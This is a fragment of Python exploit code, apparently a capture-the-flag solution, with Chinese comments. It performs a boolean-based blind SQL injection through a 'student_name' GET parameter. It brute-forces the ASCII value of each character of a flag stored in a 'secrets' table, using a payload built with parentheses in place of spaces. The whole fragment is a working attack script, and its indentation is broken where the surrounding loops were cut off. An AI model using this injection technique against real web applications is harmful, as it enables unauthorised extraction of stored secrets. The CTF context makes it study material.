flag = f'(Select(group_concat(secret_value))from(secrets)where((secret_value)like(\'flag%\')))'
# 获取所有表名的第 i 个字符,并计算 ascii 值
char = f'(ord(mid({flag},{i},1)))'
# 爆破该 ascii 值
b = f'(({char})in({ord(c)}))'
# 若 ascii 猜对了,则 and 后面的结果是 true,会返回 Alice 的数据
p = f'Alice\'and({b})#'
res = requests.get(url, params={'student_name': p})
if 'Alice' in res.text:
print('[*]bingo:', c)
result += c
print(result)
break